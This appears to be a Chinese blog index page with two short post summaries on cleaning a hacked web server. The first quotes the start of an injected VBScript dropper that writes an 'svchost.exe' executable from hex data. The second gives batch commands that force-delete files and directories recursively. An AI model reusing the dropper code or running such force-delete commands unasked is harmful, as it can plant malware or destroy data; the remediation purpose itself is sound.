2017年9月21日
替换已xx开头已yy结尾的正则
摘要： 网站被挂马了 ，挂马的形式千奇百怪 <SCRIPT Language=VBScript><!--DropFileName = "svchost.exe"WriteData = "4D5A90000300000004000000FFFF0000B8000000000000004000000000000 阅读全文
posted @ 2017-09-21 10:49 leeseett 阅读(1124) 评论(0) 推荐(0) 编辑
暴力删除文件.
摘要： 在服务器上被挂马是一件很头疼的事，尽管找到了，按delete 木马文件也删不了。通过以下方式可以暴力的删除文件或者目录 1.新建一个txt文档 DEL /F /A /Q \\?\%1RD /S /Q \\?\%1 2.将上边的代码copy进去 3.将txt文件后缀重命名为 .bat 4.将你要的文件 阅读全文
posted @ 2017-09-21 10:40 leeseett 阅读(368) 评论(1) 推荐(1) 编辑